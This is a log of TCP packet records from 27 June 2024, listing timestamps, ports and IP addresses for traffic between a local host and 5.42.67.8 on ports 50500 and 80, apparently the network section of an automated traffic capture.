Jun 27, 2024 06:44:17.434473991 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434483051 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434484005 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434504986 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434505939 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434516907 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434521914 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434536934 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434539080 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434551954 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434566975 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434572935 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434586048 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434597969 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434607029 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434612989 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434619904 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434633017 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434643030 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434664965 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434674025 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434683084 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434712887 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434720039 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434726954 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434757948 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434803963 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434815884 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434827089 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434847116 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434858084 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434871912 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434879065 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434881926 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434895039 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434910059 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434921980 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434933901 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434940100 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434953928 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434964895 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434987068 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435003042 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435008049 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435081005 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435091972 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435092926 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435105085 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435143948 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435440063 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435470104 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435482025 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435486078 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435513973 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435527086 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435533047 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435544968 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435574055 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435574055 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435585976 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435600042 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435617924 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435642004 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435688972 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435700893 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435712099 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435723066 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435729980 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435745955 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435749054 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435759068 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435760021 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435765028 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435784101 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435787916 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435811043 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435813904 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435823917 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435828924 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435831070 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435872078 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435884953 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435889006 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435897112 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435909986 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435920000 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435931921 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435934067 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.435945988 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.435988903 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436016083 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436028004 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436039925 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436052084 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436057091 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436073065 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436080933 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436086893 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436110973 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436125040 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436134100 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436147928 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436151981 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436158895 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436171055 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436182976 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436193943 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436220884 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436244011 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436770916 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436813116 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.436820984 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.436866999 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.437033892 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437076092 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.437370062 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437381983 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437395096 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437416077 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437416077 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.437429905 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437453032 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.437515974 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437529087 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437540054 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437561035 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437572956 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437583923 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437602997 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437614918 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437624931 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437654972 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437666893 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437686920 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437699080 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437711954 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437758923 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437771082 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437789917 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437800884 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437846899 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437859058 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437870026 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437891006 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437902927 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437936068 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437952995 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437963963 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.437977076 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438030005 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438050985 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438062906 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438074112 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438093901 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438105106 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438117981 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438138008 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438149929 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438198090 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438210011 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438231945 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438242912 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438263893 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438276052 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438316107 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438328981 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438344002 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438373089 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438385010 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438396931 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438410997 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438422918 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438443899 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438466072 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438477039 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438491106 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438524008 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438551903 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438574076 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438606977 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438664913 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438677073 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438711882 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438735008 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438746929 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438781023 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438801050 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438813925 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438873053 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438884020 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438904047 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438915968 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438929081 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438961983 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438972950 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.438987017 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439016104 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439028978 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439079046 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439091921 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439112902 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439178944 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439256907 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439291954 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439304113 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439313889 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439327002 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439338923 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439389944 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439400911 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439412117 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439424992 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439439058 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439450026 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439460993 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439471960 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439493895 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439505100 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.439516068 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.484781027 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.499545097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.504359007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.504410982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.504585028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.509289980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.134959936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.135096073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.144787073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.149590015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.333780050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.333869934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.333924055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.333969116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.333981991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.333991051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.334013939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.334031105 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.334031105 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.334048986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.334069014 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.334081888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.334114075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.334136963 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.334145069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.334178925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.334218979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.335206032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.339102030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.339184046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.428761005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428783894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428800106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428822041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428837061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428838968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.428838968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.428854942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428877115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.428890944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.428922892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.428924084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.429630041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.429721117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.429732084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.429744005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.429776907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.429927111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.429990053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430005074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430013895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.430020094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430059910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.430059910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.430059910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.430573940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430588961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430602074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430617094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430632114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.430639029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.430653095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.430684090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.431436062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.431449890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.431463957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.431478024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.431495905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.431495905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.431550026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.433577061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.433657885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.515268087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.518976927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.523997068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524010897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524025917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524079084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524092913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524106979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524106979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524106979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524122000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524132013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524183035 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524195910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524211884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524226904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524251938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524277925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524713039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524727106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524740934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524755001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524768114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.524782896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524782896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.524808884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525077105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525090933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525134087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525146961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525161982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525173903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525187016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525187016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525187016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525187016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525213957 CEST	49719	80	192.168.2.5	5.42.67.8
